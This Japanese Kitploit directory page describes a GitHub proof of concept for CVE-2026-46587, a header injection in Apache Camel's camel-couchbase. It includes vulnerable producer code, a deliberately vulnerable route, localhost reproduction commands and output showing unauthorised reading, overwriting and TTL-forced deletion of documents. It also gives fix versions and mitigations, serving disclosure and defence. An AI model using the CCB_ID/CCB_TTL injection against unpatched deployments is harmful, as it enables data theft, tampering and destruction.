Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46587 — CVE-2026-46587 の再現コード: Apache Camel camel-couchbase の CCB_* ヘッダーインジェクションにより、ドキュメントの開示、改ざん、および TTL 強制によるデータ破壊が可能になる (4.14.8/4.18.3/4.21.0 で修正済み) | Kitploit
ツール/GitHubGitHub/oscerd/cve-2026-46587
脆弱性分析エクスプロイトウェブアプリケーション悪用APIセキュリティテストペネトレーションテスト学習と教育
GitHuboscerd/cve-2026-46587

CVE-2026-46587

CVE-2026-46587 の再現コード: Apache Camel camel-couchbase の CCB_* ヘッダーインジェクションにより、ドキュメントの開示、改ざん、および TTL 強制によるデータ破壊が可能になる (4.14.8/4.18.3/4.21.0 で修正済み)

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

camel-couchbase CCB_* ヘッダーインジェクション再現コード (CVE-2026-46587)

このプロジェクトは、Apache Camel の camel-couchbase コンポーネントにおけるメッセージヘッダーインジェクションを実証するもので、 CVE-2026-46587 として追跡されています。このコンポーネントは、その動作を制御するために複数の Exchange ヘッダーを読み取ります — CCB_KEY (ドキュメントキー)、CCB_ID(ドキュメントID)、CCB_TTL(ドキュメントの有効期限)、CCB_DDN(デザインドキュメント名)、CCB_VN(ビュー名)。 これらのヘッダー定数(CouchbaseConstants で定義)の文字列値は、他のすべてのコンポーネントが使用する Camel プレフィックス付きの名前 (例: CamelSqlQuery)ではなく、プレフィックスのない素の名前です。Camel のインバウンド HttpHeaderFilterStrategy は Camel / camel で始まるヘッダー名のみをブロックするため、これらの名前はインバウンドフィルターをそのまま通過します。ルートが couchbase プロデューサーの前に HTTP エントリポイント(例: platform-http)を公開している場合、信頼できない HTTP クライアントはこれらのヘッダーを直接設定し、ルート作成者が 設定したドキュメントID、TTL、デザインドキュメント名、またはビュー名を上書きできます。

この PoC は、1つの欠陥から生じる3つの異なる影響を実証します:

  1. 情報漏えい — 注入された CCB_ID により、呼び出し元のスコープ外のドキュメントを読み取ります。
  2. 改ざん — 書き込み時に注入された CCB_ID により、保護されたドキュメントを上書きします。
  3. データ破壊 — 注入された CCB_TTL=1 により、呼び出し元自身のドキュメントを静かに自己破壊させます。

アドバイザリ: https://camel.apache.org/security/CVE-2026-46587.html

脆弱性の概要

CVE-2025-27636、CVE-2026-40453、CVE-2026-46453、CVE-2026-47323 と同じヘッダーインジェクションの系統です。この修正は 姉妹アドバイザリである CVE-2026-46588(camel-couchdb)と PR を共有しています。

技術的詳細

root@kitploit:~
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID  = "CCB_ID";
String HEADER_TTL = "CCB_TTL";

// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl   = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)

修正(4.14.8 / 4.18.3 / 4.21.0)は、ヘッダーの値を Camel の慣例に合わせて変更します — CCB_ID → CamelCouchbaseId、 CCB_TTL → CamelCouchbaseTtl、CCB_KEY → CamelCouchbaseKey、CCB_DDN → CamelCouchbaseDesignDocumentName、 CCB_VN → CamelCouchbaseViewName — そのため、これらは他のすべての Camel 制御ヘッダーと同様にインバウンド HttpHeaderFilterStrategy によってブロックされます。Java の定数フィールド名は変更されません。

被害ルート

root@kitploit:~
from("platform-http:/save")           // and /fetch
    .removeHeaders("Camel*")                                   // documented hardening — see below
    .choice().when(header("CCB_ID").isNull())
        .setHeader("CCB_ID", constant("user-draft"))           // default to the caller's own document
    .end()
    .to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");

このルートは、ドキュメントIDのデフォルトを呼び出し元自身の下書きに設定し、ドキュメント化された堅牢化策として、エッジで Camel 制御ヘッダーの名前空間を除去します。しかし、それは役に立ちません: 上書き用ヘッダーは CCB_ID / CCB_TTL という名前であり、 CamelCouchbaseId / CamelCouchbaseTtl ではないため、removeHeaders("Camel*") でも組み込みの HTTP ヘッダーフィルターでも 除去されません — そしてプロデューサーはそれらをそのまま尊重します。

データベースには2つのドキュメントが投入されています: user-draft(呼び出し元自身のもの)と system-config(エンドポイントが決して 公開してはならない機密ドキュメント)です。

リポジトリ構成

被害者 は Camel ルートとその Couchbase データベースです。攻撃者 はリクエストヘッダーを設定するだけの認証なし HTTP クライアントです。小さな SDK ハーネス が、脆弱なルートとは独立に、検証用のドキュメントを投入・読み取りします。

root@kitploit:~
CVE-2026-46587/
├── pom.xml                 # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml      # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── CouchbaseSettings.java    # host / bucket / creds / document ids
    │   ├── CouchbaseHarness.java     # SDK harness: seeds + reads docs for verification
    │   ├── VictimRoute.java          # platform-http:/save and /fetch -> couchbase producer
    │   └── ExploitController.java    # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
    └── resources/
        └── application.properties

前提条件

  • Docker と Docker Compose(Couchbase Server とアプリを実行)
  • Java 17+ と Maven 3.8+(jar のビルド用)

再現手順

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build          # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v

compose ファイルは、単一ノードの Couchbase クラスター(KV のみ)を初期化し、mybucket バケットと appuser を作成してから アプリを起動します。Couchbase は短いホスト名を拒否するため、ノードのホスト名にはドット付きのネットワークエイリアス (couchbase.cve.local)が使用されます。

期待される出力

root@kitploit:~
initial DB state (read straight from Couchbase):
  user-draft    = empty-draft
  system-config = PROTECTED-ORIGINAL-CONFIG

=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
  empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
  PROTECTED-ORIGINAL-CONFIG
  read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
  system-config = PROTECTED-ORIGINAL-CONFIG   (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
  system-config = ATTACKER-OVERWRITE-PAYLOAD
  write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
  user-draft immediately after save: important quarterly data the user just saved
  user-draft ~2.5s later:            <not found: DocumentNotFoundException>
  ttl-injection / data loss: true

>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).

攻撃ベクトル

HTTP コンシューマーから到達可能な couchbase プロデューサーを持つすべてのルート。注入可能なヘッダー: CCB_ID / CCB_KEY (ドキュメントID/キー → 任意のドキュメントの読み取り、上書き、削除)、CCB_TTL(強制失効 → データ損失)、およびコンシューマー側では CCB_DDN / CCB_VN(デザインドキュメント名とビュー名)。

推奨される修正

4.14.8 / 4.18.3 / 4.21.0 にアップグレードしてください(アドバイザリ PR #23228)。修正後、上書き用ヘッダーには Camel プレフィックス(CamelCouchbaseId、CamelCouchbaseTtl、…)が付与され、他のすべての制御ヘッダーと同様に HTTP 境界で フィルタリングされます。

緩和策

アップグレードするまでの間、影響を受けるヘッダーを、プロデューサーに到達する前に信頼できないインバウンドメッセージから除去してください。 例: couchbase エンドポイントの前で .removeHeader("CCB_KEY")、.removeHeader("CCB_ID")、.removeHeader("CCB_TTL")、 .removeHeader("CCB_DDN")、.removeHeader("CCB_VN") を実行するか、これらの名前をブロックするカスタム HeaderFilterStrategy を適用します。

免責事項

この再現コードは、公開済みかつ修正済みの脆弱性について、セキュリティ研究および許可されたテストのみを目的として提供されます。 明示的な許可なくシステムに対して使用しないでください。

ツールをダウンロード
プロパティ値
コンポーネントcamel-couchbase
影響を受けるクラスorg.apache.camel.component.couchbase.CouchbaseProducer が CouchbaseConstants.HEADER_ID("CCB_ID")、HEADER_TTL("CCB_TTL")などを読み取る
CWECWE-20: 不適切な入力検証
影響HTTP クライアントが CCB_* ヘッダーを設定 → ドキュメントID / TTL / デザインドキュメント / ビューを上書き → 情報漏えい、改ざん、データ損失
前提条件ルートが HTTP コンシューマー(例: platform-http)の背後に couchbase プロデューサーを公開している; コンシューマーが未認証である場合は認証なし
影響を受けるバージョン4.0.0 から 4.14.8 未満、4.15.0 から 4.18.3 未満、4.19.0 から 4.21.0 未満
修正バージョン4.14.8、4.18.3、4.21.0
修正PR apache/camel#23228(main)、#23230(4.18.x)/ #23231(4.14.x)経由でバックポート
クレジットYu Bao(PayPal)